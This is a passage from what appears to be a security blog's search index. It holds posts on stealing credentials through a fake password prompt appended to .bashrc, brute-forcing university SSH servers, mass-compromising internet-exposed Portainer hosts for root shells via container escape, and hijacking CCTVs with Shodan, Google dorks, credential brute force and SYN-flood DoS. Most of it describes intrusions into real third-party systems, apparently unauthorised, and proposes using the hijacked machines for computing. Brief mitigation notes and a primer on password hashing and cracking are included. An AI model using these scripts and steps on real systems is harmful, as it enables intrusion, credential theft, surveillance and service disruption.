activity, an attacker can systematically expand their foothold while remaining under the radar.\nKey takeaways:\nMonitoring bash history is crucial to detect unauthorized activity. Regularly auditing .bashrc, .profile, and alias configurations can help uncover unauthorized modifications. Network segmentation limits an attacker\u0026rsquo;s ability to move laterally across a network. Understanding these attack methods helps security professionals develop better defense mechanisms to detect and prevent unauthorized access. By staying proactive, organizations can significantly mitigate the risk of lateral movement in their networks.\n","permalink":"https://Gill-Singh-A.github.io/p/lateral-movement-through-ssh-command-tampering/","summary":"\u003ch2 id=\"understanding-lateral-movement\"\u003eUnderstanding Lateral Movement\u003c/h2\u003e\n\u003cp\u003eLateral movement in cybersecurity refers to the techniques used by attackers to move within a compromised network after gaining initial access. This allows them to escalate privileges, exfiltrate data, and reach high-value targets while evading detection. Advanced Persistent Threats (APTs) commonly use this tactic to maintain long-term access, often remaining undetected for extended periods.\u003c/p\u003e\n\u003ch2 id=\"entry-point\"\u003eEntry Point\u003c/h2\u003e\n\u003cp\u003eDuring my exploration of vulnerable and misconfigured internet-facing machines, I was able to gain root access to several devices. The methods I used to gain initial access are beyond the scope of this blog.\u003cbr /\u003e\nWhile analyzing one of the compromised machines during post-exploitation, I noticed in the bash history that the user frequently connected to other devices via SSH.\u003cbr /\u003e\n\u003cimg alt=\"Bash History\" loading=\"lazy\" src=\"/p/lateral-movement-through-ssh-command-tampering/assets/images/bash_history.png\"\u003e\u003cbr /\u003e\nThis discovery led me to investigate further, with the goal of capturing credentials to access additional systems.\u003cbr /\u003e\u003c/p\u003e","title":"Lateral Movement Through SSH Command Tampering"},{"content":"SSH Services at IIT Kanpur IIT Kanpur\u0026rsquo;s network uses Class B private IP addresses. Within this private network, students, faculty and staff can SSH into various servers using their Computer Center credentials to access different services. Examples of such servers include the GPU server, APP server, and MATH server.\nEach user has a 2GB directory on the Computer Center\u0026rsquo;s NFS (Network File System), which is mounted on all servers. This allows users to access their files across multiple servers without needing to copy them to each one, reducing the need for additional storage on individual servers. Port Scan of whole Private Network I couldn’t find a complete list of servers supporting SSH authentication with our Computer Center credentials and was eager to discover all the servers users could SSH into.\nSo, I conducted a port scan of IIT Kanpur\u0026rsquo;s entire private network for port 22 (SSH) using Gill-Singh-A/Port-Scanner and identified around 4,000 devices with the port open. Brute Forcing SSH Servers The next task was to identify the servers where we could authenticate using our Computer Center credentials.\nTo accomplish this, I used the tool Gill-Singh-A/SSH-Brute-Force\nAfter getting the Results, I got some interesting results.\nLinux Lab IPs I discovered 110 consecutive IP addresses, and upon gathering more information, I learned that these belonged to the Computer Center\u0026rsquo;s Linux Lab 2 and 3.\nUsers currently logged in the Computer After that, I accessed the computer using my user ID via SSH. To check the currently logged-in users, I entered the command who\nThis command allowed me to see both users logged in through SSH (indicated by their IP addresses) and those who were logged in offline (identified by the DISPLAY index, which starts with :) with their login time.\nBuilding the Heat Map After identifying the users on specific computers in Computer Center Linux Lab 2 and 3, it was time to create the heat map.\nI compiled a CSV file containing the IP addresses and locations of the computers, then developed a Python program to automate the process of checking user activity on each machine and display the results.\nThe program presents the results on the user\u0026rsquo;s IITK Homepage that was used in the program.\nResults The Final Python Program used to create the Heat Map for Linux Computer Labs at IIT Kanpur is Gill-Singh-A/IITK-Heat-Map\nIt displays the results on My Student Homepage for the following Labs:\nComputer Center Linux Labs NCL Linux Lab In my opinion, this tool is particularly useful for students during exams, as it helps save time by allowing them to see in advance if a computer lab is full before heading there.\n","permalink":"https://Gill-Singh-A.github.io/p/building-a-heat-map-for-iit-kanpurs-computer-labs/","summary":"\u003ch2 id=\"ssh-services-at-iit-kanpur\"\u003eSSH Services at IIT Kanpur\u003c/h2\u003e\n\u003cp\u003eIIT Kanpur\u0026rsquo;s network uses Class B private IP addresses. Within this private network, students, faculty and staff can SSH into various servers using their Computer Center credentials to access different services. Examples of such servers include the GPU server, APP server, and MATH server.\u003cbr /\u003e\n\u003cimg alt=\"GPU Server SSH\" loading=\"lazy\" src=\"/p/building-a-heat-map-for-iit-kanpurs-computer-labs/assets/images/gpu_server_ssh.png\"\u003e\u003cbr /\u003e\nEach user has a 2GB directory on the Computer Center\u0026rsquo;s NFS (Network File System), which is mounted on all servers. This allows users to access their files across multiple servers without needing to copy them to each one, reducing the need for additional storage on individual servers. \u003cbr /\u003e\n\u003cimg alt=\"NFS Storage\" loading=\"lazy\" src=\"/p/building-a-heat-map-for-iit-kanpurs-computer-labs/assets/images/nfs_storage.png\"\u003e\u003c/p\u003e","title":"Building a Heat Map for IIT Kanpur's Computer Labs"},{"content":"Prologue While exploring devices on my college network, I managed to gain Remote Desktop Access to a server for one of our institute\u0026rsquo;s websites. The method I used to obtain access to the interface is out of the scope of this blog.\nUpon gaining access, I found that the server was running Ubuntu. The terminal displayed user as the current user.\nI added my public key to /home/user/.ssh/authorized_keys and checked the SSH connection.\nWith SSH access confirmed, it was time to escalate our privileges to the root user.\nPrivilege Escalation Initially, I explored various SUIDs, SGIDs, Cronjob Files, the Shadow File, shared libraries, and other system components to find potential vulnerabilities. After finding no useful exploits, I downloaded and executed linPEAS to search for additional attack surfaces, but it was not successful.\nSocial Engineering \u0026ldquo;I\u0026rsquo;M GOOD AT READING PEOPLE. MY SECRET. I LOOK FOR THE WORST IN THEM.\u0026rdquo; - Mr.Robot\nThis line from Mr. Robot inspired me after my initial methods for privilege escalation failed.\nI devised a strategy to obtain the password for user using a social engineering approach.\nI created a single-line bash script to be appended to /home/user/.bashrc.\n1 echo -n \u0026#39;password for user: \u0026#39;; read -s password; echo -n $password | base64 \u0026gt;/tmp/tmp.txt; grep -v \u0026#39;random_signature\u0026#39; /home/user/.bashrc \u0026gt;/tmp/tmp; mv /tmp/tmp /home/user/.bashrc; chmod 644 ~/.bashrc; echo \u0026#39;\u0026#39;; Let\u0026rsquo;s Understand this command-by-command\nPrints password for user: on the screen, tricking the user into thinking it’s a prompt for their password. 1 echo -n \u0026#39;password for user: \u0026#39; Inputs the password in silent mode, so it doesn’t appear on the screen. 1 read -s password Encodes the password in base64 and saves it to /tmp/tmp.txt. 1 echo -n $password | base64 \u0026gt;/tmp/tmp.txt Removes lines containing random_signature from /home/user/.bashrc, ensuring it doesn’t affect the file’s functionality. 1 grep -v \u0026#39;random_signature\u0026#39; /home/user/.bashrc \u0026gt;/tmp/tmp Replaces the original .bashrc file with the modified version. 1 mv /tmp/tmp /home/user/.bashrc Restores the original file permissions for .bashrc 1 chmod 644 ~/.bashrc After appending this line to /home/user/.bashrc, every time a new terminal was opened, it would prompt the user for their password.\nOnce the user entered their password, the line would be removed from .bashrc, restoring the file to its original state. I could then SSH into the machine and retrieve the base64 encoded password from /tmp/tmp.txt.\nAlthough there were concerns about potential failures, such as entering the wrong password or pressing CTRL+C, the method worked successfully after a few days.\nObtaining Password A few days later, I logged in as user via SSH and found that it wasn’t prompting for a password. I checked /tmp/tmp.txt and found the base64 encoded password.\nAfter Decoding it, I obtained the password.\nFinally, I verified the success of my social engineering method by checking for root access.\nThere We have the root user!\nReporting As a responsible and ethical individual, I reported the findings to the concerned authorities. They have since addressed and fixed the issues discussed.\nMitigations Social Engineering remains one of the most dangerous methods of compromising security because it exploits human psychology rather than technical vulnerabilities. The weakest link in any security system is often the human element. Even the most secure systems can be breached if someone is tricked into revealing sensitive information or executing malicious commands.\nTo mitigate the risk of social engineering attacks:\nSecurity Awareness Training: Regularly train employees to recognize and respond to social engineering tactics. Verification Procedures: Implement strict verification processes for sensitive actions or information requests. Multi-Factor Authentication (MFA): Use MFA to add an extra layer of security beyond just passwords. Monitor and Audit: Regularly monitor and audit access logs for suspicious activity. By addressing these areas, you can significantly reduce the risk posed by social engineering and other similar attacks.\n","permalink":"https://Gill-Singh-A.github.io/p/using-social-engineering-for-privilege-escalation/","summary":"\u003ch2 id=\"prologue\"\u003ePrologue\u003c/h2\u003e\n\u003cp\u003eWhile exploring devices on my college network, I managed to gain Remote Desktop Access to a server for one of our institute\u0026rsquo;s websites. The method I used to obtain access to the interface is out of the scope of this blog.\u003cbr /\u003e\n\u003cimg alt=\"Remote Desktop Access\" loading=\"lazy\" src=\"/p/using-social-engineering-for-privilege-escalation/assets/images/remote_desktop_interface.png\"\u003e\u003cbr /\u003e\nUpon gaining access, I found that the server was running \u003cstrong\u003eUbuntu\u003c/strong\u003e. The terminal displayed \u003cstrong\u003euser\u003c/strong\u003e as the current user.\u003cbr /\u003e\n\u003cimg alt=\"Terminal\" loading=\"lazy\" src=\"/p/using-social-engineering-for-privilege-escalation/assets/images/current_user.png\"\u003e\u003cbr /\u003e\nI added my public key to \u003cem\u003e/home/user/.ssh/authorized_keys\u003c/em\u003e and checked the SSH connection.\u003cbr /\u003e\n\u003cimg alt=\"User SSH Connection\" loading=\"lazy\" src=\"/p/using-social-engineering-for-privilege-escalation/assets/images/user_ssh_connection.png\"\u003e\u003cbr /\u003e\nWith SSH access confirmed, it was time to escalate our privileges to the \u003cem\u003e\u003cstrong\u003eroot\u003c/strong\u003e\u003c/em\u003e user.\u003c/p\u003e","title":"Using Social Engineering for Privilege Escalation"},{"content":"Portainer Portainer is an open-source management tool designed for containers. It offers a user-friendly, lightweight web interface that simplifies the deployment and management of Docker environments. It\u0026rsquo;s important to note that while Portainer itself does not run with root privileges, if the Docker service managed by Portainer operates with root permissions, it could potentially lead to a remote root shell vulnerability, as discussed further.\nInformation Gathering Collecting Target Devices We\u0026rsquo;ll use Shodan Search Engine to Collect Target Devices.\nOn Shodan Search Engine search with query product:portainer, this would list out all the Devices that were identified running Portainer by Shodan.\nAfter setting the requeired filters, we can download the results.\nThe Number of Results that can be downloaded depends upon your query credits available(1 Query Credit = 100 Results)\nAfter Shodan has done compiling the data, it sends us a Mail that Data is ready for Download or we can alernatively wait on Shodan Download Page while the data is being compiled\nThe Download will be in the format .json.gz. Shodan provides a Command-Line Utility to Parse the data in these download files.\nThe utility can be installed with the command\n1 pip install shodan The Targets from the downloaded file can be extracted with the following command\n1 shodan parse --fields ip_str,port --separator : {file_name}.json.gz To save the Targets to a file, simply redirect the output of the command\n1 shodan parse --fields ip_str,port --separator : {file_name}.json.gz \u0026gt; {file_name_to_save_targets_to} I sometimes manually filterout some IPs by running a port scan, because sometimes the information provided by Shodan for some Devices is outdated.\nCompiling a suitable Wordlist for Brute-Force We can search for various Default/Weak Credentials Online. One of the best Repositories that I find for collecting Passwords for Brute-Force is SecLists.\nHere, I won\u0026rsquo;t disclose more information about the wordlists that I use.\nBrute Force To access the Portainer Dashboard, we first have to find correct credentials.\nAfter collecting Target Devices and Passwords, we\u0026rsquo;re ready to do a Brute-Force attack on the Portainer Web Interface.\nI use Gill-Singh-A, it is a Program written in Python that uses requests to brute force the Web Interface of Portainer through /api/auth endpoint and multithreading module to parallelize the brute force tasks. I\u0026rsquo;ve attached a small example of brute force in the following picture.\nGetting Remote Root Shell Now after getting access to the Portainer Web Interface, our job is to get a Remote Root Shell.\nFirst, we have to go to Images and find any Linux OS Image. Here in this example we see ubuntu:latest\nNext, we go to containers and click on Add Container\nWe name the Container as health_test :) and pull the Linux OS Image, in this case ubuntu:latest\nIn the command and Logging Section, we select Interactive and TTY Console.\nNext we go to Volume, Click on Map Additional Volume, Click on Bind and select /host in container and / in host. This way we\u0026rsquo;ve mounted the Host Root Directory into the Docker Container and we\u0026rsquo;ll use this to get the Remote Root Shell in the upcoming setups\nNext in Runtime \u0026amp; Resources turn Privilege Mode on.\nNext in Capabilities, turn every Linux Capability on to ensure smooth operation.\nThen Click on Deploy The Container.\nWe can see our Container health_test running.\nThen we click on exec console and in the Container Console connect to /bin/bash as root user.\nHere, we\u0026rsquo;ve run the bash as root user in the Container\nWe type the command ps aux and see bash Process with PID 1, this tells us that currently we\u0026rsquo;re inside the Container.\nThen to break out of the Container, we change our directory to /host and chroot into it and to confirm that We\u0026rsquo;ve successfully broken out of the container, we type ps aux and see that systemd has PID 1. Which confirms that we\u0026rsquo;ve broken out of the Container into the Host Machine\nThe chroot command usage is to change root directory to the supplied directory for the current running process and its children, so when we ran chroot in the /host directory where the Host was mounted, then it changed the root directory to host and hence broke out of the docker container.\nNext we check that we can login as root via ssh using the following command\n1 cat /etc/ssh/sshd_config | grep Root If not then we set it to yes.\nNext we generate a Public-Private Key Pair with the following command on our machine\n1 ssh-keygen -t rsa -b 4096 -C root Then paste the Public Key File to the /root/.ssh/authorized_keys of the Target Machine.\nAfter all this, now we\u0026rsquo;ll be able to ssh to the Target Machine with root user.\nWe can further more Geolocate the IP Addresses using Gill-Singh-A/IP-Location to get an approximate location of the Devices (although it may not always be correct)\nWe can use the Compromised Devices for Cluster Computing after gaining basic information about their Processing Power, Memory, Space, etc\nMitigations In this blog we saw that how easy it was to gain remote root access to a Device that was using misconfigured Portainer Web Interface (exposed to internet, using weak credentials) in several ways.\nTo avoid getting your Device compromised, you should take the following steps:\nMake sure that Portainer Interface is not exposed to the Internet Not using Default/Weak Credentials Setting up Proper Firewall Rules Keeping the Software/Firmware up to date, to avoid any CVEs present in the device that could be exploited Note The Above mentioned points doesn\u0026rsquo;t Guarantee 100% protection, they only enhance the security\nChecking Leaked Passwords There are several websites you can use to check whether the password that you\u0026rsquo;re using has been leaked somewhere online or not. Here are some popular ones:\nHave I Been Pwned: Check if your email or phone is in a data breach Dehashed: Free deep-web scans and protection against credential leaks LeakCheck.io: Make sure your credentials haven\u0026rsquo;t been compromised crackstation.net: Massive pre-computed lookup tables to crack password hashes HashKiller: Pre-cracked Hashes, easily searchable LeakedPassword: Search across multiple data breaches to see if your pass has been compromised BugMeNot: Find and share logins Source: edoardottt/awesome-hacker-search-engines\n","permalink":"https://Gill-Singh-A.github.io/p/getting-remote-root-shell-on-devices-via-portainer/","summary":"\u003ch2 id=\"portainer\"\u003ePortainer\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://www.portainer.io/\"\u003ePortainer\u003c/a\u003e is an open-source management tool designed for containers. It offers a user-friendly, lightweight web interface that simplifies the deployment and management of Docker environments. It\u0026rsquo;s important to note that while Portainer itself does not run with root privileges, if the Docker service managed by Portainer operates with root permissions, it could potentially lead to a remote root shell vulnerability, as discussed further.\u003c/p\u003e\n\u003ch2 id=\"information-gathering\"\u003eInformation Gathering\u003c/h2\u003e\n\u003ch3 id=\"collecting-target-devices\"\u003eCollecting Target Devices\u003c/h3\u003e\n\u003cp\u003eWe\u0026rsquo;ll use \u003ca href=\"https://www.shodan.io\"\u003eShodan Search Engine\u003c/a\u003e to Collect Target Devices.\u003cbr /\u003e\nOn \u003ca href=\"https://www.shodan.io\"\u003eShodan Search Engine\u003c/a\u003e search with query \u003cem\u003eproduct:portainer\u003c/em\u003e, this would list out all the Devices that were identified running Portainer by Shodan.\u003cbr /\u003e\n\u003cimg alt=\"Shodan Search\" loading=\"lazy\" src=\"/p/getting-remote-root-shell-on-devices-via-portainer/assets/images/shodan_search.png\"\u003e\nAfter setting the requeired filters, we can download the results.\u003cbr /\u003e\n\u003cimg alt=\"Shodan Download Results\" loading=\"lazy\" src=\"/p/getting-remote-root-shell-on-devices-via-portainer/assets/images/shodan_download_results.png\"\u003e\u003cbr /\u003e\nThe Number of Results that can be downloaded depends upon your query credits available(1 Query Credit = 100 Results)\u003cbr /\u003e\n\u003cimg alt=\"Shodan Download Results\" loading=\"lazy\" src=\"/p/getting-remote-root-shell-on-devices-via-portainer/assets/images/shodan_download_results_1.png\"\u003e\u003cbr /\u003e\nAfter Shodan has done compiling the data, it sends us a Mail that \u003cem\u003eData is ready for Download\u003c/em\u003e or we can alernatively wait on \u003ca href=\"https://www.shodan.io/download\"\u003eShodan Download Page\u003c/a\u003e while the data is being compiled\u003cbr /\u003e\n\u003cimg alt=\"Shodan Download Mail\" loading=\"lazy\" src=\"/p/getting-remote-root-shell-on-devices-via-portainer/assets/images/shodan_mail.png\"\u003e\u003cbr /\u003e\nThe Download will be in the format \u003cem\u003e.json.gz\u003c/em\u003e. Shodan provides a Command-Line Utility to Parse the data in these download files.\u003cbr /\u003e\nThe utility can be installed with the command\u003c/p\u003e","title":"Getting Remote Root Shell on Devices via Portainer"},{"content":"Compromising CCTVs 101 RTSP Protocol RTSP Protocol stands for Real Time Streaming Protocol and by default runs on Port 554. As the name tells, its an application level protocol designed to transport streams over a network and is commonly used by Devices like CCTVs. The RTSP Protocol doesn\u0026rsquo;t offer encryption, therefore everything is transparent to an Attacker eavesdropping on the Network Traffic of a Device using RTSP. We won\u0026rsquo;t cover MITM (Man-in-the-Middle) Attacks and other eavesdropping methods in this blogs, rather will focus on gaining direct access to CCTVs.\nInformation Gathering Collecting IP Addresses of CCTVs There are several ways of collecting IP Addresses of CCTVs, We\u0026rsquo;ll cover the most common ones:\nShodan Google Dorking Port Scanning Shodan On Shodan Search Engine, search with query port:554 RTSP. This would list out all the Devices that have Port 554 Open found by Shodan with RTSP in their banner. Most of them will be CCTVs. We can even filter out more on various basis, for example location (country, city, etc)\nOr if we want to find CCTVs that have no authentication, we can provide the filter has_screenshot:true.\nAfter setting the requeired filters, we can download the results.\nThe Number of Results that can be downloaded depends upon your query credits available(1 Query Credit = 100 Results)\nAfter Shodan has done compiling the data, it sends us a Mail that Data is ready for Download or we can alernatively wait on Shodan Download Page while the data is being compiled\nThe Download will be in the format .json.gz. Shodan provides a Command-Line Utility to Parse the data in these download files.\nThe utility can be installed with the command\n1 pip install shodan The IP Addresses from the downloaded file can be extracted with the following command\n1 shodan parse --fields ip_str {file_name}.json.gz To save the IP Addresses to a file, simply redirect the output of the command\n1 shodan parse --fields ip_str {file_name}.json.gz \u0026gt; {file_name_to_save_ip_addresses_to} I sometimes manually filterout some IPs by running a port scan, because sometimes the information provided by Shodan for some Devices is outdated.\nGoogle Dorking Here is the Google Dorks that I use for finding CCTVs\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 inurl:\u0026#34;view/index.shtml\u0026#34; inurl:\u0026#34;MultiCameraFrame?Mode=Motion\u0026#34; VB Viewer inurl:/viewer/live/ja/live.html intitle:\u0026#34;IP CAMERA Viewer\u0026#34; intext:\u0026#34;setting | Client setting\u0026#34; intitle:\u0026#34;Device(\u0026#34; AND intext:\u0026#34;Network Camera\u0026#34; AND \u0026#34;language:\u0026#34; AND \u0026#34;Password\u0026#34; intitle:\u0026#34;webcam 7\u0026#34; inurl:\u0026#39;/gallery.html\u0026#39; intitle:\u0026#34;Yawcam\u0026#34; inurl:8081 inurl:control/camerainfo intitle:\u0026#34;webcamXP 5\u0026#34; -download inurl:\u0026#34;/view/view.shtml?id=\u0026#34; inurl:/view/viewer_index.shtml intext:\u0026#34;powered by webcamXP 5\u0026#34; intitle:webcam 7 inurl:8080 -intext:8080 intitle:\u0026#34;Live View / - AXIS\u0026#34; | inurl:view/view.shtml OR inurl:view/indexFrame.shtml | intitle:\u0026#34;MJPG Live Demo\u0026#34; | \u0026#34;intext:Select preset position\u0026#34; allintitle: Axis 2.10 OR 2.12 OR 2.30 OR 2.31 OR 2.32 OR 2.33 OR 2.34 OR 2.40 OR 2.42 OR 2.43 \u0026#34;Network Camera\u0026#34; allintitle:Edr1680 remote viewer allintitle: EverFocus | EDSR | EDSE400 Applet allintitle: EDR1600 login | Welcome intitle:\u0026#34;BlueNet Video Viewer\u0026#34; intitle:\u0026#34;SNC-RZ30\u0026#34; -demo inurl:cgi-bin/guestimage.html (intitle:(EyeSpyFX|OptiCamFX)) \u0026#34;go to camera\u0026#34;)|(inurl:servlet/DetectBrowser) intitle:\u0026#34;Veo Observer XT\u0026#34; - inurl:shtml|pl|php|htm|asp|aspx|pdf|cfm - intext:observer intitle:\u0026#34;iGuard Fingerprint Security System\u0026#34; (intitle:MOBOTIX intitle:PDAS) | (intitle:MOBOTX intitle:Seiten) | (inurl:/pda/index.html +camera) intitle:\u0026#34;Edr1680 remote viewer\u0026#34; intitle:\u0026#34;NetCam Live Image\u0026#34; -.edu -.gov -johnny.ihackstuff.com intitle:\u0026#34;INTELLINET\u0026#34; intitle:\u0026#34;IP Camera Homepage\u0026#34; intitle:\u0026#34;WEBDVR\u0026#34; -inurl:product -inurl:demo intitle:\u0026#34;Middle frame of Videoconference Management System\u0026#34; ext:htm tilt intitle:\u0026#34;Live View / - AXIS\u0026#34; | inurl:view/view.shtml intitle:\u0026#34;AXIS 240 Camera Server\u0026#34; intext:\u0026#34;server push\u0026#34; -help intitle:\u0026#34;--- VIDEO WEB SERVER ---\u0026#34; intext:\u0026#34;Video Web Server\u0026#34; \u0026#34;Any time \u0026amp; Any where\u0026#34; username password intitle:HomeSeer.Web.Control | Home.Status.Events.Log inurl:camctrl.cgi intitle:\u0026#34;supervisioncam protocol\u0026#34; intitle\u0026#34;active webcame page\u0026#34; We won\u0026rsquo;t cover much of the dorking part, because it is painful to extract the links from a google search queries and the other 2 mentioned methods work well for our purporse.\nPort Scanning Instead of using Shodan for getting Devices with a open port, we can manually scan for open ports. This is the method that should be opted for collecting IP Addresses of CCTVs on a Local/Corporate Network. We can use Port Scanning tools like nmap, unicornscan, etc. For scanning a Large Subdomain/Large Number of Devices I\u0026rsquo;d prefer using unicornscan tool, because it sends all the SYN Packets without waiting for responses and starts a sniffer which looks for SYN-ACK Packets to determine which Device has an open port, making it faster than nmap.\nIn the following example of port scan, I\u0026rsquo;ve used Gill-Singh-A/Port-Scanner. In this repository port_scanner.py sends the SYN Packet, waits for the SYN-ACK Packets and then completes the TCP Handshake by sending the ACK Packet and finally closes the connection by sending FIN Packet making it a slow scanner. The scapy_port_scanner.py (used in the following example) is somewhat based on the unicornscan tool and is faster than port_scanner.py.\nCompiling a suitable Wordlist for Brute-Force We can make a wordlist by looking for Default Credentials for various CCTV Vendors, Weak Credentials and credentials present in SecLists.\nHere, I won’t disclose more information about the wordlists that I use.\nBrute Force After Collecting the IP Address, Port and Credentials, we\u0026rsquo;re ready to do a Brute-Force attack on the Devices.\nI use Gill-Singh-A/RTSP-Brute-Force, it is a Program written in python that uses OpenCV to brute force the CCTVs and uses multithreading module to parallelize the brute force tasks. We can also redirect the Error output by OpenCv by using the error redirected to Null 2\u0026gt;/dev/null at the end of the command.\nHere in the following exampe, I\u0026rsquo;ve run the program and also opened the Stream in VLC Media Player of the CCTV that it gained access to.\nWe can further more Geolocate the IP Addresses using Gill-Singh-A/IP-Location to get an approximate location of the Devices (although it may not always be correct)\nWe can now even open the Admin Panel of the CCTV using the Browser and can manipulate crucial settings, backup storage and more. DOS We can also do a DOS (Denial-of-Service) attack on the CCTV Device to interrupt the live stream. We can use various tools to do a DOS Attack like Gill-Singh-A/SYN-Flood-Attack, GoldenEye, etc\nBut I prefer using the hping tool to do SYN Flood Attack because its more effective. Mitigations In this blog we saw that how easy it was to gain access to a CCTV that was misconfigured (exposed to internet, using weak credentials) in several ways.\nTo avoid getting your CCTV Device compromised, you should take the following steps:\nMake sure that a CCTV Device on your Local Network is not exposed to the Internet Not using Default/Weak Credentials Setting up Proper Firewall Rules Keeping the Software/Firmware up to date, to avoid any CVEs present in the device that could be exploited Note The Above mentioned points doesn\u0026rsquo;t Guarantee 100% protection, they only enhance the security\nChecking Leaked Passwords There are several websites you can use to check whether the password that you\u0026rsquo;re using has been leaked somewhere online or not. Here are some popular ones:\nHave I Been Pwned: Check if your email or phone is in a data breach Dehashed: Free deep-web scans and protection against credential leaks LeakCheck.io: Make sure your credentials haven\u0026rsquo;t been compromised crackstation.net: Massive pre-computed lookup tables to crack password hashes HashKiller: Pre-cracked Hashes, easily searchable LeakedPassword: Search across multiple data breaches to see if your pass has been compromised BugMeNot: Find and share logins Source: edoardottt/awesome-hacker-search-engines\n","permalink":"https://Gill-Singh-A.github.io/p/compromising-cctvs-101/","summary":"\u003ch1 id=\"compromising-cctvs-101\"\u003eCompromising CCTVs 101\u003c/h1\u003e\n\u003ch2 id=\"rtsp-protocol\"\u003eRTSP Protocol\u003c/h2\u003e\n\u003cp\u003eRTSP Protocol stands for \u003cem\u003eReal Time Streaming Protocol\u003c/em\u003e and by default runs on \u003cem\u003ePort 554\u003c/em\u003e. As the name tells, its an application level protocol designed to transport streams over a network and is commonly used by Devices like CCTVs. The RTSP Protocol doesn\u0026rsquo;t offer encryption, therefore everything is transparent to an Attacker eavesdropping on the Network Traffic of a Device using RTSP. We won\u0026rsquo;t cover MITM (Man-in-the-Middle) Attacks and other eavesdropping methods in this blogs, rather will focus on gaining direct access to CCTVs.\u003c/p\u003e","title":"Compromising CCTVs 101"},{"content":"How passwords are stored on servers? Passwords are stored on databases by hashing them alone or after appending them with random values. Hashing is a one-way function that converts a given string of characters into another value. A strong hashing algorithm has to be quick, deterministic, and irreversible. In this blog, we explore how a hashed password can be cracked.\nHashing Algorithms Hashing algorithms are mathematical functions that take an input (often a string of characters, such as a password) and produce a fixed-size string of characters, known as a hash value or hash code. These algorithms are designed to be one-way functions, meaning that while it\u0026rsquo;s easy to compute the hash value from the input (password), it\u0026rsquo;s computationally infeasible to reverse the process and obtain the original input from the hash value.\nSome common hashing Algorithms are:\nmd5: A widely-used cryptographic hash function producing a 128-bit (16-byte) hash value sha1: A cryptographic hash function designed by the NSA, producing a 160-bit (20-byte) hash value. sha224: A variant of SHA-2 family generating a 224-bit (28-byte) hash value. sha256: Part of the SHA-2 family, producing a 256-bit (32-byte) hash value. sha384: A SHA-2 algorithm variant producing a 384-bit (48-byte) hash value. sha3_224: One of the SHA-3 family hash functions generating a 224-bit (28-byte) hash value. sha3_256: Part of the SHA-3 family producing a 256-bit (32-byte) hash value. sha3_384: A SHA-3 algorithm variant generating a 384-bit (48-byte) hash value. sha3_512: A SHA-3 family hash function producing a 512-bit (64-byte) hash value. sha512: A SHA-2 algorithm variant generating a 512-bit (64-byte) hash value. BLAKE2: A cryptographic hash function offering high speed and security, available in different output sizes Whirlpool: A cryptographic hash function producing a 512-bit (64-byte) hash value, designed by Vincent Rijmen and Paulo S. L. M. Barreto RIPEMD-160: A cryptographic hash function developed as an improvement of RIPEMD, producing a 160-bit (20-byte) hash value Tiger: A cryptographic hash function known for its speed and cryptographic strength, producing a 192-bit (24-byte) hash value Why Passwords are Hashed Passwords are hashed primarily for security reasons. When a user creates an account or sets a password, the system does not store it. Instead, it computes the password\u0026rsquo;s hash value using a hashing algorithm and stores the hash value in its database.\nHere are the main reasons why passwords are hashed:\nProtection Against Data Breaches: Hidden passwords thwart attackers User Privacy: Shield passwords from unauthorized access Preventing Password Reuse: Encourage unique passwords Compliance with Security Standards: PCI DSS, GDPR, and other standards mandate password hashing for user data protection Salting in Hashes Salting in hashes is a technique used to enhance the security of hashed passwords or data by adding a random or unique value, called a salt, before hashing. This salt is typically a random string of characters or bits generated separately for each password or piece of data being hashed. Here\u0026rsquo;s an explanation of how salting works and why it\u0026rsquo;s important:\nAdding Randomness: Salting introduces randomness by appending a unique value to each password before hashing Preventing Precomputed Attacks: Salting thwarts precomputed attacks like rainbow tables(explained later) by ensuring each password has a distinct hash Enhancing Security: Salting significantly boosts security by mitigating various types of attacks, including brute force and dictionary attacks Password Protected Files and Drives Password-protected files, such as ZIP archives and PDF documents, are digital files encrypted with a password to prevent unauthorized access. ZIP files, compressed archives containing multiple files and folders, can be password-protected to encrypt their contents, requiring the correct password for extraction. Similarly, PDF files, commonly used for document sharing, can be secured with password protection to encrypt the document\u0026rsquo;s contents and restrict access or actions like printing and editing without the correct password. Encrypted files and drives use encryption algorithms to encode data, making it unreadable without the corresponding decryption key or password. This encryption ensures the confidentiality and security of sensitive information stored within the files or drives, reinforcing protection against unauthorized access and data breaches.\nHash Cracking In this section we explore the ways we can decipher a hashed password.\nMethods of Password Cracking There are 4 methods to crack a Hash Protected Password\nBrute Force In a brute force attack, the attacker systematically tries every possible combination of characters until the correct password is found This method starts with trying the simplest passwords, such as single characters or common words, and gradually progresses to more complex combinations Brute force attacks can be resource-intensive and time-consuming, especially for longer and more complex passwords, but they are generally effective against weak passwords Dictionary Attack A dictionary attack involves using a predefined list of words, phrases, or commonly used passwords to guess the password Unlike brute force, which tries every possible combination, a dictionary attack focuses on likely passwords first, potentially speeding up the process The dictionary used in this attack may include common words, phrases, names, and variations thereof, making it more efficient than brute force for many scenarios Rainbow Table Attack Rainbow table attacks exploit weaknesses in password storage mechanisms, particularly when passwords are hashed without salting A rainbow table is a precomputed table of password hashes and their corresponding plaintext passwords Instead of recalculating hashes for each attempted password, the attacker compares the hash of the target password with entries in the rainbow table to find a match This method can be faster than brute force or dictionary attacks, especially for large datasets, but it requires significant computational resources to generate and store the rainbow table initially Collision Attack A collision attack is a type of cryptographic attack where an attacker tries to find two different inputs (messages) that produce the same hash value when processed by a hashing algorithm. In other words, the attacker seeks to find a collision—a situation where two distinct inputs generate identical hash outputs. Collision attacks can have serious security implications, especially in cryptographic systems where hash functions are used for ensuring data integrity, authentication, and other security purposes. A successful collision attack undermines the fundamental security properties of the hash function, leading to potential vulnerabilities and compromises in the overall security of the system. Collision Attack Proof of Concept Collision attacks against MD5 are not only theoretically possible but have also been demonstrated in practice. In fact, MD5 is considered highly vulnerable to collision attacks due to its design flaws and weaknesses. In 2004, researchers Xiaoyun Wang and Hongbo Yu published a paper titled Collisions for Hash Functions MD4, MD5, HAVAL-128 and RIPEMD where they presented practical collision attacks against several cryptographic hash functions, including MD5. They demonstrated that it was possible to find two different inputs that produce the same MD5 hash value, effectively breaking the collision resistance property of MD5. Since then, further advancements in computing power and cryptanalysis techniques have made collision attacks against MD5 even more feasible and practical. Today, it is relatively easy to generate MD5 collisions using specialized hardware or distributed computing resources. Due to these vulnerabilities, MD5 is no longer considered secure for cryptographic purposes, and its use has been strongly discouraged in favor of more secure hashing algorithms such as SHA-256 or SHA-3. In fact, most modern security standards and protocols explicitly prohibit the use of MD5 due to its susceptibility to collision attacks.\nTools for Hash Cracking 